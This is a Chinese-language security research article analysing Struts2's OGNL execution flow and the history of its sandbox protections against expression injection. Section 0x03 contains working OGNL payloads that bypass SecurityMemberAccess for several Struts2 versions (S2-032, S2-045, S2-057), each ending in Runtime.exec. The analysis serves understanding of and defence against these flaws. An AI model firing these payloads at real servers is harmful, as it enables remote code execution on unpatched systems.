作者:Lucifaer
博客:https://www.lucifaer.com
在分析Struts2漏洞的過程中就一直想把OGNL的運行機制以及Struts2對OGNL的防護機制總結一下,但是一直苦于自己對Struts2的理解不是很深刻而遲遲無法動筆,最近看了lgtm的這篇文章收獲良多,就想在這篇文章的基礎上總結一下目前自己對于OGNL的一些理解,希望師傅們斧正。
0x01 OGNL與Struts2
1.1 root與context
OGNL中最需要理解清楚的是root(根對象)、context(上下文)。
root:root可以理解為是一個java對象,表達式所規定的所有操作都是通過root來指定其對哪個對象進行操作。context:context可以理解為對象運行的上下文環境,context以MAP的結構,利用鍵值對關系來描述對象中的屬性以及值。
Struts2框架使用了標準的命名上下文(naming context,我實在是不知道咋翻譯了-. -)來執行OGNL表達式。處理OGNL的最頂層對象是一個Map對象,通常稱這個Map對象為context map或者context。而OGNL的root就在這個context map中。在表達式中可以直接引用root對象的屬性,如果需要引用其他的對象,需要使用#標明。
框架將OGNL里的context變成了我們的ActionContext,將root變成了valueStack。Struts2將其他對象和valueStack一起放在ActionContext中,這些對象包括application、session、request context的上下文映射。下面是一個圖例:

1.2 ActionContext
ActionContext是action的上下文,其本質是一個MAP,簡單來說可以理解為一個action的小型數據庫,整個action生命周期(線程)中所使用的數據都在這個ActionContext中。而對于OGNL來說ActionContext就是充當context的,并且在框架中
這里盜一張圖來說明ActionContext中存有哪些東西:

可以看到其中有三個常見的作用域request、session、application。
attr作用域則是保存著上面三個作用域的所有屬性,如果有重復的則以request域中的屬性為基準。paramters作用域保存的是表單提交的參數。VALUE_STACK,也就是常說的值棧,保存著valueStack對象,也就是說可以通過ActionContext訪問到valueStack中的值。
1.3 valueStack
值棧本身是一個ArrayList,充當OGNL的root:

root在源碼中稱為CompoundRoot,它也是一個棧,每次操作valueStack的出入棧操作其實就是對CompoundRoot進行對應的操作。每當我們訪問一個action時,就會將action加入到棧頂,而提交的各種表單參數會在valueStack從頂向下查找對應的屬性進行賦值。
這里的context就是ActionContext的引用,方便在值棧中去查找action的屬性。
1.4 ActionContext和valueStack的關系
可以看到其實ActionContext和valueStack是“相互包含”的關系,當然準確點來說,valueStack是ActionContext中的一部分,而ActionContext所描述的也不只是一個OGNLcontext的代替品,畢竟它更多是為action構建一個獨立的運行環境(新的線程)。而這樣的關系就導致了我們可以通過valueStack訪問ActionContext中的屬性而反過來亦然。
其實可以用一種不是很標準的表達方式來描述這樣的關系:可以把valueStack想成ActionContext的索引,你可以直接通過索引來找到表中的數據,也可以在表中找到所有數據的索引,無非是書與目錄的關系罷了。
0x02 OGNL的執行
2.1 初始化ValueStack
我們從代碼的角度來看看OGNL的執行流。從Struts2框架的代碼中,我們可以清楚的看到OGNL的包是位于xwork2中的,而連通Struts2與xwork2的橋梁就是ActionProxy,也就是說在ActionProxy接管整個控制權前,FilterDispatcher就已經完成了對ActionContext的建立與初始化。
而具體的代碼是在org.apache.struts2.dispatcher.PrepareOperations中:

在這里如果沒有Context存在的話,則會調用ValueStackFactory這個接口的createValueStack方法,跟進看一下:

跟進OgnlValueStackFactory:

這幾個參數分別為:

跟進看一下OgnlValueStack的構造方法:


可以看到設置根、設置安全防范措施、以及調用Ognl.createDefaultContext來創建默認的Context映射:


這里我們跟到OgnlContext中看一下,有這么幾個對象時比較重要的,他們規定了OGNL計算中的計算規則處理類:

_root:在OgnlContext內維護著的Root對象,它是OGNL主要的操作對象_values:如果希望在OGNL計算時使用傳入的Map作為上下文環境,OGNL依舊會創建一個OgnlContext,并將所傳入的Map中所有的鍵值對維護在_values變量中。這個變量就被看作真正的容器,并在OGNL的計算中發揮作用。ClassResolver:指定處理class loading的處理類。實際上這個處理類是用于指定OGNL在根據Class名稱來構建對象時,尋找Class名稱與對應的Class類之間對應關系的處理方式。在默認情況下會使用JVM的class.forName機制來處理。TypeConverter:指定處理類型轉化的處理類。這個處理類非常關鍵,它會指定一個對象屬性轉化成字符串以及字符串轉化成Java對象時的處理方式。MemberAccess:指定處理屬性訪問策略的處理方式。
可以看到這里的ClassResolver是有關類的尋址以及調用的,也就是常說的所謂的執行。
2.2 將現有的值和字段添加進ValueStack中(構造)
在初始化了ValueStack后,發現了后面的container.inject(stack);,這里是將依賴項注入現有的字段和方法,而在這個地方會調用com.opensymphony.xwork2.ognl.OgnlValueStack$setOgnlUtil將我們所關心的黑名單給添加進來:

然而其根本的作用是創建_memberAccess。
這里可以注意到調用棧中首先是初始化了ValueStack之后再通過OgnlUtil這個API將數據和方法注入進ValueStack中,而ValueStack又是利用OgnlContext來創建的,所以會看到OgnlContext中的_memberAccess與securityMemberAccess是同一個SecurityMemberAccess類的實例,而且內容相同,也就是說全局的OgnlUtil實例都共享著相同的設置。如果利用OgnlUtil更改了設置項(excludedClasses、excludedPackageNames、excludedPackageNamePatterns)則同樣會更改_memberAccess中的值。
這里可能不太好理解,可以看下面這幾張圖:
-
首先
ValueStack本身是個OgnlContext
-
之后調用
setOgnlUtil添加黑名單:
-
然后
OgnlUtil中的這些值賦給SecurityMemberAccess:

-
也就是與
OgnlContext中的_memberAccess建立關系,即創建了_memberAccess:
而這一點在沙箱繞過時起到了很重要的作用。
2.3 創建攔截器(Interceptor)
在之后當控制權轉交給ActionProxy時會調用OgnlUtil作為操作OGNL的API,在創建攔截器(Interceptor)時會調用com.opensymphony.xwork2.config.providers.InterceptorBuilder:

在這里利用工場函數來創建攔截器,跟進看一下:






也就是把設置好的黑名單賦到SecurityMemberAccess中,在當前的上下文中用以檢驗表達式所調用的方法是否允許被調用。
2.4 OGNL執行(利用反射調用)
說完了初始化,再來說一下所謂的OGNL執行,在這里引用一下《Struts2技術內幕》這本書的一個表,這個表主要列舉了OGNL計算時所需要遵循的一些重要的計算規則和默認實現類:

接下來就跟進CompoundRootAccessor看一下:


在這里拓展了ognl.DefaultClassResovler,可以支持一些特殊的class名稱。
0x03 OGNL的攻防史
回看S2系列的漏洞,每當我們找到一個可以執行OGNL表達式的點在嘗試構造惡意的OGNL時都會遇到這個防護機制,在我看了lgtm這篇文章后,我就想把圍繞SecurityMemberAccess的攻防歷史來全部梳理一遍。
可以說所有在對于OGNL的攻防全部都是基于如何使用靜態方法。Struts2的防護措施從最開始的正則,到之后的黑名單,在保證OGNL強大功能的基礎上,將可能執行靜態方法的利用鏈給切斷。在分析繞過方法時,需要注意的有這么幾點:
struts-defult.xml中的黑名單com.opensymphony.xwork2.ognl.SecurityMemberAccessOgnl包
以下圖例左邊都是較為新的版本,右邊為老版本。
3.1 Struts 2.3.14.1版本前
S2-012、S2-013、S3-014的出現促使了這次更新,可以說在跟新到2.3.14.1版本前,ognl的利用基本屬于不設防狀態,我們可以看一下這兩個版本的diff,不難發現當時還沒有出現黑名單這樣的說法,而修復的關鍵在于SecurityMemberAccess:

左邊是2.3.14.1的版本,右邊是2.3.14的版本,不難看出在這之前可以通過ognl直接更改allowStaticMethodAccess=true,就可以執行后面的靜態方法了,所以當時非常通用的一種poc是:
(#_memberAccess['allowStaticMethodAccess']=true).(@java.lang.Runtime@getRuntime().exec('calc'))
而在2.3.14.1版本后將allowStaticMethodAccess設置成final屬性后,就不能顯式更改了,這樣的poc顯然也失效了。
3.2 Struts 2.3.20版本前
在2.3.14.1后雖然不能更改allowStaticMethodAccess了,但是還是可以通過_memberAccess使用類的構造函數,并且訪問公共函數,所以可以看到當時有一種替代的poc:
(#p=new java.lang.ProcessBuilder('xcalc')).(#p.start())
直到2.3.20,這樣的poc都可以直接使用。在2.3.20后,Struts2不僅僅引入了黑名單(excludedClasses, excludedPackageNames 和 excludedPackageNamePatterns),更加重要的是阻止了所有構造函數的使用,所以就不能使用ProcessBuilder這個payload了。
3.3 Struts 2.3.29版本前
左為2.3.29版本,右邊為2.3.28版本

從黑名單中可以看到禁止使用了ognl.MemberAccess和ognl.DefaultMemberAccess,而這兩個對象其實就是2.3.20-2.3.28版本的通用繞過方法,具體的思路就是利用_memberAccess調用靜態對象DefaultMemberAccess,然后用DefaultMemberAccess覆蓋_memberAccess。那么為什么說這樣就可以使用靜態方法了呢?
我們先來看一下可以在S2-032、S2-033、S2-037通用的poc:
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('xcalc'))
我們來看一下ognl.OgnlContext@DEFAULT_MEMBER_ACCESS:

看過上一節的都知道,在程序運行時在setOgnlUtil方法中將黑名單等數據賦給SecurityMemberAccess,而這就是創建_memberAccess的過程,在動態調試中,我們可以看到這兩個對象的id甚至都是一樣的,而SecurityAccess這個對象的父類本身就是ognl.DefaultMemberAccess,而其建立關系的過程就相當于繼承父類并重寫父類的過程,所以這里我們利用其父類DefaultMemberAccess覆蓋_memberAccess中的內容,就相當于初始化了_memberAccess,這樣就可以繞過其之前所設置的黑名單以及限制條件。
3.4 Struts 2.3.30+/2.5.2+
到了2.3.30(2.5.2)之后的版本,我們可以使用的_memberAccess和DefaultMemberAccess都進入到黑名單中了,覆蓋的方法看似就不行了,而這個時候S2-045的payload提供了一種新的思路:
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))
可以看到繞過的關鍵點在于:
- 利用Ognl執行流程利用
container獲取了OgnlUtil實例 - 清空了
OgnlUtil$excludedClasses黑名單,釋放了DefaultMemberAccess - 利用
setMemberAccess覆蓋
而具體的流程可以參考2.2的內容。
3.5 Struts 2.5.16
分析過S2-057后,你會發現ognl注入很容易復現,但是想要調用靜態方法造成代碼執行變得很難,我們來看一下Struts2又做了哪些改動:
-
2.5.13版本后禁止訪問
coontext.map準確來說是ognl包版本的區別,在2.5.13中利用的是3.1.15版本,在2.5.12版本中使用的是3.1.12版本:

而這個改變是在
OgnlContext中:
不只是get方法,put和remove都沒有辦法訪問了,所以說從根本上禁止了對
context.map的訪問。 -
2.5.20版本后
excludedClasses不可變了,具體的代碼在這里
所以在S2-045時可使用的payload已經沒有辦法再使用了,需要構造新的利用方式。
文章提出了這么一種思路:
- 沒有辦法使用
context.map,可以調用attr,前文說過attr中保存著整個context的變量與方法,可以通過attr中的方法返回給我們一個context.map。 - 沒有辦法直接調用
excludedClasses,也就不能使用clear方法來清空,但是還可以利用setter來把excludedClasses給設置成空 - 清空了黑名單,我們就可以利用
DefaultMemberAccess來覆蓋_memberAccess,來執行靜態方法了。
而這里又會出現一個問題,當我們使用OgnlUtil的setExcludedClasses和setExcludedPackageNames將黑名單置空時并非是對于源(全局的OgnlUtil)進行置空,也就是說_memberAccess是源數據的一個引用,就像前文所說的,在每次createAction時都是通過setOgnlUtil利用全局的源數據創建一個引用,這個引用就是一個MemberAccess對象,也就是_memberAccess。所以這里只會影響這次請求的OgnlUtil而并未重新創建一個新的_memberAccess對象,所以舊的_memberAccess對象仍未改變。
而突破這種限制的方式就是再次發送一個請求,將上一次請求已經置空的OgnlUitl作為源重新創建一個_memberAccess,這樣在第二次請求中_memberAccess就是黑名單被置空的情況,這個時候就釋放了DefaultMemberAccess,就可以進行正常的覆蓋以及執行靜態方法。
poc為:
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))
(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('curl 127.0.0.1:9001'))
需要發送兩次請求:



0x04 現階段的OGNL
Struts2在 2.5.16版本后做了很多修改,截止到寫文章的時候,已經更新到2.5.20,接下來我將把這幾個版本的區別全部都列出來,并且說明現在繞過Ognl沙箱面臨著哪些阻礙。同上一節,左邊都為較新的版本,右邊為較舊的版本。
4.1 2.5.17的改變(限制命名空間)
-
黑名單的變動,禁止訪問
com.opensymphony.xwork2.ognl.
講道理,2.5.17版本的修補真的是很暴力,直接在黑名單中加上了
com.opensymphony.xwork2.ognl.也就是說我們根本沒辦法訪問這個Struts2重寫的ognl包了。 -
切斷了動態引用的方式,需要利用構造函數生成

不談重寫了
setExcludedClasses和setExcludedPackageNamePatterns,單單黑名單的改進就極大的限制了利用。
4.2 2.5.19的改進
-
ognl包的升級,從3.1.15升級到3.1.21

-
黑名單改進

-
在
OgnlUtil中setXWorkConverter、setDevMode、setEnableExpressionCache、setEnableEvalExpression、setExcludedClasses、setExcludedPackageNamePatterns、setExcludedPackageNames、setContainer、setAllowStaticMethodAccess、setDisallowProxyMemberAccess都從public方法變成了protected方法了:

也就是說沒有辦法顯式調用setExcludedClasses、setExcludedPackageNamePatterns、setExcludedPackageNames了。
4.3 master分支的改變
-
ognl包的升級,從3.1.21升級到3.2.10,直接刪除了
DefaultMemberAccess.java,同時刪除了靜態變量DEFAULT_MEMBER_ACCESS,并且_memberAccess變成了final:

-
SecurityMemberAccess不再繼承DefaultMemberAccess而直接轉為MemberAccess接口的實現:
可以看到Struts2.5.*基本上是對Ognl的執行做出了重大的改變,DefaultAccess徹底退出了歷史舞臺意味著利用父類覆蓋_memberAccess的利用方式已經無法使用,而黑名單對于com.opensymphony.xwork2.ognl的限制導致我們基本上沒有辦法利用Ognl本身的API來更改黑名單,同時_memberAccess變為final屬性也使得S2-057的這種利用_memberAccess暫時性的特征而進行“重放攻擊”的方式測地化為泡影。
4.4 總結
Struts2隨著其不斷地發展,減少了原來框架的一部分靈活性而大大的增強了其安全性,如果按照master分支的改動趨勢上看,以我的理解上來說,可以說現在基本上沒得搞…
0x05 Reference
- https://cloud.tencent.com/developer/article/1024093
- https://lgtm.com/blog/apache_struts_CVE-2018-11776-exploit
- 《Struts2技術內幕》
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/794/